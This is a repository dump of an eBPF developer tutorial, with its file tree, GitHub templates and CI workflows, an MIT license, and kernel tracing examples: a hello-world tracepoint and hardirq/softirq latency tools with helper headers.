├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ ├── custom.md │ └── feature_request.md └── workflows │ ├── main.yml │ ├── test-eunomia.yaml │ ├── test-libbpf.yml │ └── trigger-sync.yml ├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── README.zh.md ├── book.toml ├── imgs ├── code-button.png ├── codespace.png ├── docker.png ├── ebpf-chatgpt-signal.png └── ebpf-chatgpt-signal2.png └── src ├── .mdbookignore ├── 0-introduce ├── README.md ├── README_en.md ├── kernel-arch.png └── new-os-model.png ├── 1-helloworld ├── .gitignore ├── README.md ├── README_en.md └── minimal.bpf.c ├── 10-hardirqs ├── .gitignore ├── README.md ├── README_en.md ├── bits.bpf.h ├── hardirqs.bpf.c ├── hardirqs.h ├── maps.bpf.h ├── softirqs.bpf.c └── softirqs.h ├── 11-bootstrap ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── bootstrap.bpf.c ├── bootstrap.c └── bootstrap.h ├── 12-profile ├── Makefile ├── README.md ├── README_en.md ├── profile.bpf.c ├── profile.c └── profile.h ├── 13-tcpconnlat ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── tcpconnlat.bpf.c ├── tcpconnlat.c ├── tcpconnlat.h └── tcpconnlat1.png ├── 14-tcpstates ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── bits.bpf.h ├── maps.bpf.h ├── tcprtt.bpf.c ├── tcprtt.h ├── tcpstates.bpf.c ├── tcpstates.c └── tcpstates.h ├── 15-javagc ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── javagc.bpf.c ├── javagc.c ├── javagc.h └── tests │ ├── HelloWorld.java │ └── Makefile ├── 16-memleak ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── core_fixes.bpf.h ├── maps.bpf.h ├── memleak.bpf.c ├── memleak.c ├── memleak.h ├── trace_helpers.c └── trace_helpers.h ├── 17-biopattern ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── biopattern.bpf.c ├── biopattern.c ├── biopattern.h ├── core_fixes.bpf.h ├── maps.bpf.h ├── trace_helpers.c └── trace_helpers.h ├── 18-further-reading ├── README.md ├── README_en.md ├── ebpf-security.md └── ebpf-security.zh.md ├── 19-lsm-connect ├── .gitignore ├── README.md ├── README_en.md └── lsm-connect.bpf.c ├── 2-kprobe-unlink ├── .gitignore ├── README.md ├── README_en.md └── kprobe-link.bpf.c ├── 20-tc ├── .gitignore ├── README.md ├── README_en.md └── tc.bpf.c ├── 21-xdp ├── .gitignore ├── README.md ├── README_en.md └── xdp.bpf.c ├── 22-android ├── README.md └── README_en.md ├── 23-http ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── accept.bpf.c ├── accept.h ├── sockfilter.bpf.c ├── sockfilter.c └── sockfilter.h ├── 24-hide ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── README_en.md ├── pidhide.bpf.c ├── pidhide.c └── pidhide.h ├── 25-signal ├── .gitignore ├── LICENSE ├── README.md ├── README_en.md ├── common.h ├── signal.bpf.c └── signal.h ├── 26-sudo ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── README_en.md ├── common.h ├── common_um.h ├── sudoadd.bpf.c └── sudoadd.c ├── 27-replace ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── README_en.md ├── replace.bpf.c ├── replace.c └── replace.h ├── 28-detach ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── README_en.md ├── textreplace2.bpf.c ├── textreplace2.c └── textreplace2.h ├── 29-sockops ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── bpf_contrack.bpf.c ├── bpf_redirect.bpf.c ├── bpf_sockmap.h ├── envoy │ ├── Dockerfile │ └── envoy.yaml ├── load.sh ├── merbridge.png ├── trace_bpf_output.sh ├── trace_lo_traffic.sh └── unload.sh ├── 3-fentry-unlink ├── .gitignore ├── README.md ├── README_en.md └── fentry-link.bpf.c ├── 30-sslsniff ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── sslsniff.bpf.c ├── sslsniff.c └── sslsniff.h ├── 31-goroutine ├── .gitignore ├── LICENSE ├── README.md ├── README_en.md ├── go-server-http │ ├── main │ └── main.go ├── goroutine.bpf.c └── goroutine.h ├── 32-http2 └── README.md ├── 33-funclatency ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── bits.bpf.h ├── funclatency.bpf.c ├── funclatency.c └── funclatency.h ├── 34-syscall ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── exechijack.bpf.c ├── exechijack.h ├── open_modify.bpf.c ├── open_modify.h └── victim.cpp ├── 35-user-ringbuf ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── user_ringbuf.bpf.c ├── user_ringbuf.c └── user_ringbuf.h ├── 36-userspace-ebpf ├── README.md └── README_en.md ├── 37-uprobe-rust ├── README.md ├── README_en.md ├── args │ ├── .gitignore │ ├── Cargo.toml │ └── src │ │ └── main.rs └── helloworld │ ├── .gitignore │ ├── Cargo.toml │ └── src │ └── main.rs ├── 38-btf-uprobe ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── examples │ ├── .gitignore │ ├── Makefile │ ├── btf-base-new.c │ ├── btf-base.c │ └── btf-relo.bpf.c ├── merge-btf.c ├── uprobe.bpf.c └── uprobe.c ├── 39-nginx ├── README.md ├── README_en.md └── trace.bt ├── 4-opensnoop ├── .gitignore ├── README.md ├── README_en.md └── opensnoop.bpf.c ├── 40-mysql ├── README.md ├── README_en.md └── dispatch_command.bt ├── 41-xdp-tcpdump ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── xdp-tcpdump.bpf.c └── xdp-tcpdump.c ├── 42-xdp-loadbalancer ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── connect.md ├── no-docker │ ├── xdp_pass.c │ └── xdp_pass.o ├── setup.sh ├── teardown.sh ├── xdp_lb.bpf.c ├── xdp_lb.c └── xx_hash.h ├── 43-kfuncs ├── .gitignore ├── Makefile ├── README.md ├── README_en.md ├── kfunc.bpf.c ├── kfunc.c └── module │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── compact.h │ └── hello.c ├── 5-uprobe-bashreadline ├── .gitignore ├── README.md ├── README_en.md └── bashreadline.bpf.c ├── 6-sigsnoop ├── .gitignore ├── README.md ├── README_en.md └── sigsnoop.bpf.c ├── 7-execsnoop ├── .gitignore ├── README.md ├── README_en.md ├── execsnoop.bpf.c └── execsnoop.h ├── 8-exitsnoop ├── .gitignore ├── README.md ├── README_en.md ├── exitsnoop.bpf.c └── exitsnoop.h ├── 9-runqlat ├── .gitignore ├── README.md ├── README_en.md ├── bits.bpf.h ├── core_fixes.bpf.h ├── maps.bpf.h ├── runqlat.bpf.c └── runqlat.h ├── SUMMARY.md ├── SUMMARY_en.md ├── bcc-documents ├── kernel-versions.md ├── kernel-versions_en.md ├── kernel_config.md ├── kernel_config_en.md ├── reference_guide.md ├── reference_guide_en.md ├── special_filtering.md ├── special_filtering_en.md ├── tutorial.md ├── tutorial_bcc_python_developer.md ├── tutorial_bcc_python_developer_en.md └── tutorial_en.md ├── bpftrace-tutorial ├── README.md └── README_en.md ├── guideline.md └── third_party ├── libbpf └── vmlinux ├── arm ├── vmlinux.h └── vmlinux_62.h ├── arm64 ├── vmlinux.h ├── vmlinux_516.h └── vmlinux_601.h ├── loongarch ├── vmlinux.h └── vmlinux_602.h ├── powerpc ├── vmlinux.h └── vmlinux_600.h ├── riscv ├── vmlinux.h └── vmlinux_602.h ├── vmlinux.h └── x86 ├── vmlinux.h └── vmlinux_601.h /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help me improve 4 | title: "[BUG]" 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 16 | 1. Go to '...' 17 | 2. Click on '....' 18 | 3. Scroll down to '....' 19 | 4. See error 20 | 21 | **Expected behavior** 22 | A clear and concise description of what you expected to happen. 23 | 24 | **Screenshots** 25 | If applicable, add screenshots to help explain your problem. 26 | 27 | **Desktop (please complete the following information):** 28 | 29 | * OS: [e.g. Windows] 30 | * Version [e.g. 10] 31 | 32 | **Additional context** 33 | Add any other context about the problem here. 34 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/custom.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Custom issue template 3 | about: Describe this issue template's purpose here. 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | 11 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: "[FEATURE]" 5 | labels: enhancement 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated 12 | when [...] 13 | 14 | **Describe the solution you'd like** 15 | A clear and concise description of what you want to happen. 16 | 17 | **Describe alternatives you've considered** 18 | A clear and concise description of any alternative solutions or features you've considered. 19 | 20 | **Provide usage examples** 21 | A few examples of how the feature should be used. Please make sure they are clear 22 | and concise. 23 | 24 | **Additional context** 25 | Add any other context or screenshots about the feature request here. 26 | -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | build: 11 | name: Deploy gh-pages 12 | runs-on: ubuntu-latest 13 | permissions: 14 | contents: write 15 | pull-requests: write 16 | steps: 17 | - uses: actions/checkout@v3 18 | with: 19 | submodules: 'recursive' 20 | - uses: actions-rs/toolchain@v1 21 | with: 22 | toolchain: stable 23 | - name: install mdbook 24 | run: (test -x $HOME/.cargo/bin/mdbook || cargo install mdbook) 25 | - name: build and test 26 | run: mdbook build 27 | - name: publish 28 | if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository_owner == 'eunomia-bpf' 29 | uses: JamesIves/github-pages-deploy-action@v4.4.1 30 | with: 31 | branch: gh-pages 32 | folder: book 33 | -------------------------------------------------------------------------------- /.github/workflows/test-libbpf.yml: -------------------------------------------------------------------------------- 1 | name: Test eunomia-bpf example CI 2 | 3 | on: 4 | push: 5 | branches: [ "main" ] 6 | pull_request: 7 | branches: [ "main" ] 8 | schedule: 9 | - cron: '0 0 * * 0' 10 | jobs: 11 | build: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v3 15 | with: 16 | submodules: 'recursive' 17 | - name: install deps 18 | run: | 19 | sudo apt-get install -y --no-install-recommends \ 20 | libelf1 libelf-dev zlib1g-dev \ 21 | make git clang llvm pkg-config build-essential 22 | - name: test 11 bootstrap 23 | run: | 24 | make -C src/11-bootstrap 25 | sudo timeout -s 2 3 src/11-bootstrap/bootstrap || if [ $? = 124 ]; then exit 0; else exit $?; fi 26 | - name: test 12 profile 27 | run: | 28 | make -C src/12-profile 29 | # sudo timeout -s 2 3 src/12-profile/profile || if [ $? = 124 ]; then exit 0; else exit $?; fi 30 | - name: test 13 tcpconnlat 31 | run: | 32 | make -C src/13-tcpconnlat 33 | sudo timeout -s 2 3 src/13-tcpconnlat/tcpconnlat || if [ $? = 124 ]; then exit 0; else exit $?; fi 34 | - name: test 14 tcpstates 35 | run: | 36 | make -C src/14-tcpstates 37 | sudo timeout -s 2 3 src/14-tcpstates/tcpstates || if [ $? = 124 ]; then exit 0; else exit $?; fi 38 | - name: test 16 memleak 39 | run: | 40 | make -C src/16-memleak 41 | sudo timeout -s 2 3 src/16-memleak/memleak || if [ $? = 124 ]; then exit 0; else exit $?; fi 42 | - name: test 17 biopattern 43 | run: | 44 | make -C src/17-biopattern 45 | sudo timeout -s 2 3 src/17-biopattern/biopattern || if [ $? = 124 ]; then exit 0; else exit $?; fi 46 | - name: test 23 http 47 | run: | 48 | make -C src/23-http 49 | sudo timeout -s 2 3 src/23-http/sockfilter || if [ $? = 124 ]; then exit 0; else exit $?; fi 50 | - name: test 28 detach 51 | run: | 52 | make -C src/28-detach 53 | sudo mount bpffs -t bpf /sys/fs/bpf 54 | sudo mkdir /sys/fs/bpf/textreplace 55 | # sudo src/28-detach/textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d || if [ $? = 124 ]; then exit 0; else exit $?; fi 56 | - name: test 29 sockops 57 | run: | 58 | make -C src/29-sockops 59 | # TODO: add test 60 | - name: test 30 sslsniff 61 | run: | 62 | make -C src/30-sslsniff 63 | sudo timeout -s 2 3 src/30-sslsniff/sslsniff || if [ $? = 124 ]; then exit 0; else exit $?; fi 64 | 65 | - name: test 33 funclatency 66 | run: | 67 | make -C src/33-funclatency 68 | - name: test 35-user-ringbuf 69 | run: | 70 | make -C src/35-user-ringbuf 71 | sudo timeout -s 2 3 src/35-user-ringbuf/user_ringbuf || if [ $? = 124 ]; then exit 0; else exit $?; fi 72 | 73 | - name: test 41 xdp 74 | run: | 75 | make -C src/41-xdp-tcpdump 76 | 77 | - name: test 42 xdp 78 | run: | 79 | make -C src/42-xdp-loadbalancer 80 | 81 | - name: test 43 kfuncs 82 | run: | 83 | make -C src/43-kfuncs 84 | -------------------------------------------------------------------------------- /.github/workflows/trigger-sync.yml: -------------------------------------------------------------------------------- 1 | name: Test and trigger downstream tutorial sync 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | pull_request: 8 | workflow_dispatch: 9 | 10 | jobs: 11 | trigger: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - name: Checkout website repo 15 | uses: actions/checkout@v3 16 | with: 17 | repository: ${{ github.repository_owner }}/eunomia.dev 18 | ref: main 19 | path: ./. 20 | 21 | - uses: actions/setup-python@v4 22 | with: 23 | python-version: 3.x 24 | 25 | - name: Install all 26 | run: | 27 | make install 28 | 29 | - name: Test page build 30 | run: | 31 | mkdocs build -v 32 | 33 | - name: Trigger sync workflow 34 | if: github.event_name == 'push' && github.ref == 'refs/heads/main' 35 | uses: peter-evans/repository-dispatch@v2 36 | with: 37 | token: ${{ secrets.PAT }} 38 | repository: ${{ github.repository_owner }}/eunomia.dev 39 | event-type: trigger-tutorial-sync 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | book 51 | Module.symvers 52 | Mkfile.old 53 | dkms.conf 54 | 55 | .output 56 | src/11-bootstrap/bootstrap 57 | /minimal 58 | /minimal_legacy 59 | /uprobe 60 | /kprobe 61 | /fentry 62 | src/12-profile/profile 63 | /usdt 64 | /sockfilter 65 | /tc 66 | /ksyscall 67 | ecli-server 68 | ecc 69 | ecli 70 | 71 | .vscode/ -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "src/third_party/blazesym"] 2 | path = src/third_party/blazesym 3 | url = https://github.com/libbpf/blazesym 4 | [submodule "src/third_party/bpftool"] 5 | path = src/third_party/bpftool 6 | url = https://github.com/libbpf/bpftool 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 eunomia-bpf 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /book.toml: -------------------------------------------------------------------------------- 1 | [book] 2 | authors = ["eunomia-bpf"] 3 | language = "en" 4 | multilingual = false 5 | src = "src" 6 | title = "bpf-developer-tutorial" 7 | -------------------------------------------------------------------------------- /imgs/code-button.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/imgs/code-button.png -------------------------------------------------------------------------------- /imgs/codespace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/imgs/codespace.png -------------------------------------------------------------------------------- /imgs/docker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/imgs/docker.png -------------------------------------------------------------------------------- /imgs/ebpf-chatgpt-signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/imgs/ebpf-chatgpt-signal.png -------------------------------------------------------------------------------- /imgs/ebpf-chatgpt-signal2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/imgs/ebpf-chatgpt-signal2.png -------------------------------------------------------------------------------- /src/.mdbookignore: -------------------------------------------------------------------------------- 1 | third_party 2 | -------------------------------------------------------------------------------- /src/0-introduce/kernel-arch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/src/0-introduce/kernel-arch.png -------------------------------------------------------------------------------- /src/0-introduce/new-os-model.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/src/0-introduce/new-os-model.png -------------------------------------------------------------------------------- /src/1-helloworld/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | ecc 9 | -------------------------------------------------------------------------------- /src/1-helloworld/minimal.bpf.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #define BPF_NO_GLOBAL_DATA 3 | #include 4 | #include 5 | #include 6 | 7 | typedef unsigned int u32; 8 | typedef int pid_t; 9 | const pid_t pid_filter = 0; 10 | 11 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 12 | 13 | SEC("tp/syscalls/sys_enter_write") 14 | int handle_tp(void *ctx) 15 | { 16 | pid_t pid = bpf_get_current_pid_tgid() >> 32; 17 | if (pid_filter && pid != pid_filter) 18 | return 0; 19 | bpf_printk("BPF triggered sys_enter_write from PID %d.\n", pid); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /src/10-hardirqs/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | -------------------------------------------------------------------------------- /src/10-hardirqs/bits.bpf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __BITS_BPF_H 3 | #define __BITS_BPF_H 4 | 5 | #define READ_ONCE(x) (*(volatile typeof(x) *)&(x)) 6 | #define WRITE_ONCE(x, val) ((*(volatile typeof(x) *)&(x)) = val) 7 | 8 | static __always_inline u64 log2(u32 v) 9 | { 10 | u32 shift, r; 11 | 12 | r = (v > 0xFFFF) << 4; v >>= r; 13 | shift = (v > 0xFF) << 3; v >>= shift; r |= shift; 14 | shift = (v > 0xF) << 2; v >>= shift; r |= shift; 15 | shift = (v > 0x3) << 1; v >>= shift; r |= shift; 16 | r |= (v >> 1); 17 | 18 | return r; 19 | } 20 | 21 | static __always_inline u64 log2l(u64 v) 22 | { 23 | u32 hi = v >> 32; 24 | 25 | if (hi) 26 | return log2(hi) + 32; 27 | else 28 | return log2(v); 29 | } 30 | 31 | #endif /* __BITS_BPF_H */ 32 | -------------------------------------------------------------------------------- /src/10-hardirqs/hardirqs.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Copyright (c) 2020 Wenbo Zhang 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "hardirqs.h" 8 | #include "bits.bpf.h" 9 | #include "maps.bpf.h" 10 | 11 | #define MAX_ENTRIES 256 12 | 13 | const volatile bool filter_cg = false; 14 | const volatile bool targ_dist = false; 15 | const volatile bool targ_ns = false; 16 | const volatile bool do_count = false; 17 | 18 | struct irq_key { 19 | char name[32]; 20 | }; 21 | 22 | struct { 23 | __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); 24 | __type(key, u32); 25 | __type(value, u32); 26 | __uint(max_entries, 1); 27 | } cgroup_map SEC(".maps"); 28 | 29 | struct { 30 | __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); 31 | __uint(max_entries, 1); 32 | __type(key, u32); 33 | __type(value, u64); 34 | } start SEC(".maps"); 35 | 36 | /// @sample {"interval": 1000, "type" : "log2_hist"} 37 | struct { 38 | __uint(type, BPF_MAP_TYPE_HASH); 39 | __uint(max_entries, MAX_ENTRIES); 40 | __type(key, struct irq_key); 41 | __type(value, struct info); 42 | } infos SEC(".maps"); 43 | 44 | static struct info zero; 45 | 46 | static int handle_entry(int irq, struct irqaction *action) 47 | { 48 | if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) 49 | return 0; 50 | 51 | if (do_count) { 52 | struct irq_key key = {}; 53 | struct info *info; 54 | 55 | bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); 56 | info = bpf_map_lookup_or_try_init(&infos, &key, &zero); 57 | if (!info) 58 | return 0; 59 | info->count += 1; 60 | return 0; 61 | } else { 62 | u64 ts = bpf_ktime_get_ns(); 63 | u32 key = 0; 64 | 65 | if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) 66 | return 0; 67 | 68 | bpf_map_update_elem(&start, &key, &ts, BPF_ANY); 69 | return 0; 70 | } 71 | } 72 | 73 | static int handle_exit(int irq, struct irqaction *action) 74 | { 75 | struct irq_key ikey = {}; 76 | struct info *info; 77 | u32 key = 0; 78 | u64 delta; 79 | u64 *tsp; 80 | 81 | if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) 82 | return 0; 83 | 84 | tsp = bpf_map_lookup_elem(&start, &key); 85 | if (!tsp) 86 | return 0; 87 | 88 | delta = bpf_ktime_get_ns() - *tsp; 89 | if (!targ_ns) 90 | delta /= 1000U; 91 | 92 | bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); 93 | info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); 94 | if (!info) 95 | return 0; 96 | 97 | if (!targ_dist) { 98 | info->count += delta; 99 | } else { 100 | u64 slot; 101 | 102 | slot = log2(delta); 103 | if (slot >= MAX_SLOTS) 104 | slot = MAX_SLOTS - 1; 105 | info->slots[slot]++; 106 | } 107 | 108 | return 0; 109 | } 110 | 111 | SEC("tp_btf/irq_handler_entry") 112 | int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action) 113 | { 114 | return handle_entry(irq, action); 115 | } 116 | 117 | SEC("tp_btf/irq_handler_exit") 118 | int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action) 119 | { 120 | return handle_exit(irq, action); 121 | } 122 | 123 | SEC("raw_tp/irq_handler_entry") 124 | int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action) 125 | { 126 | return handle_entry(irq, action); 127 | } 128 | 129 | SEC("raw_tp/irq_handler_exit") 130 | int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) 131 | { 132 | return handle_exit(irq, action); 133 | } 134 | 135 | char LICENSE[] SEC("license") = "GPL"; 136 | -------------------------------------------------------------------------------- /src/10-hardirqs/hardirqs.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __HARDIRQS_H 3 | #define __HARDIRQS_H 4 | 5 | #define MAX_SLOTS 20 6 | 7 | struct info { 8 | __u64 count; 9 | __u32 slots[MAX_SLOTS]; 10 | }; 11 | 12 | #endif /* __HARDIRQS_H */ 13 | -------------------------------------------------------------------------------- /src/10-hardirqs/maps.bpf.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | // Copyright (c) 2020 Anton Protopopov 3 | #ifndef __MAPS_BPF_H 4 | #define __MAPS_BPF_H 5 | 6 | #include 7 | #include 8 | 9 | static __always_inline void * 10 | bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) 11 | { 12 | void *val; 13 | long err; 14 | 15 | val = bpf_map_lookup_elem(map, key); 16 | if (val) 17 | return val; 18 | 19 | err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); 20 | if (err && err != -EEXIST) 21 | return 0; 22 | 23 | return bpf_map_lookup_elem(map, key); 24 | } 25 | 26 | #endif /* __MAPS_BPF_H */ 27 | -------------------------------------------------------------------------------- /src/10-hardirqs/softirqs.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Copyright (c) 2020 Wenbo Zhang 3 | #include 4 | #include 5 | #include 6 | #include "softirqs.h" 7 | #include "bits.bpf.h" 8 | #include "maps.bpf.h" 9 | 10 | const volatile bool targ_dist = false; 11 | const volatile bool targ_ns = false; 12 | 13 | struct { 14 | __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); 15 | __uint(max_entries, 1); 16 | __type(key, u32); 17 | __type(value, u64); 18 | } start SEC(".maps"); 19 | 20 | __u64 counts[NR_SOFTIRQS] = {}; 21 | __u64 time[NR_SOFTIRQS] = {}; 22 | struct hist hists[NR_SOFTIRQS] = {}; 23 | 24 | static int handle_entry(unsigned int vec_nr) 25 | { 26 | u64 ts = bpf_ktime_get_ns(); 27 | u32 key = 0; 28 | 29 | bpf_map_update_elem(&start, &key, &ts, BPF_ANY); 30 | return 0; 31 | } 32 | 33 | static int handle_exit(unsigned int vec_nr) 34 | { 35 | u64 delta, *tsp; 36 | u32 key = 0; 37 | 38 | if (vec_nr >= NR_SOFTIRQS) 39 | return 0; 40 | tsp = bpf_map_lookup_elem(&start, &key); 41 | if (!tsp) 42 | return 0; 43 | delta = bpf_ktime_get_ns() - *tsp; 44 | if (!targ_ns) 45 | delta /= 1000U; 46 | 47 | if (!targ_dist) { 48 | __sync_fetch_and_add(&counts[vec_nr], 1); 49 | __sync_fetch_and_add(&time[vec_nr], delta); 50 | } else { 51 | struct hist *hist; 52 | u64 slot; 53 | 54 | hist = &hists[vec_nr]; 55 | slot = log2(delta); 56 | if (slot >= MAX_SLOTS) 57 | slot = MAX_SLOTS - 1; 58 | __sync_fetch_and_add(&hist->slots[slot], 1); 59 | } 60 | 61 | return 0; 62 | } 63 | 64 | SEC("tp_btf/softirq_entry") 65 | int BPF_PROG(softirq_entry_btf, unsigned int vec_nr) 66 | { 67 | return handle_entry(vec_nr); 68 | } 69 | 70 | SEC("tp_btf/softirq_exit") 71 | int BPF_PROG(softirq_exit_btf, unsigned int vec_nr) 72 | { 73 | return handle_exit(vec_nr); 74 | } 75 | 76 | SEC("raw_tp/softirq_entry") 77 | int BPF_PROG(softirq_entry, unsigned int vec_nr) 78 | { 79 | return handle_entry(vec_nr); 80 | } 81 | 82 | SEC("raw_tp/softirq_exit") 83 | int BPF_PROG(softirq_exit, unsigned int vec_nr) 84 | { 85 | return handle_exit(vec_nr); 86 | } 87 | 88 | char LICENSE[] SEC("license") = "GPL"; 89 | -------------------------------------------------------------------------------- /src/10-hardirqs/softirqs.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __SOFTIRQS_H 3 | #define __SOFTIRQS_H 4 | 5 | #define MAX_SLOTS 20 6 | 7 | struct hist { 8 | __u32 slots[MAX_SLOTS]; 9 | }; 10 | 11 | #endif /* __SOFTIRQS_H */ 12 | -------------------------------------------------------------------------------- /src/11-bootstrap/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | 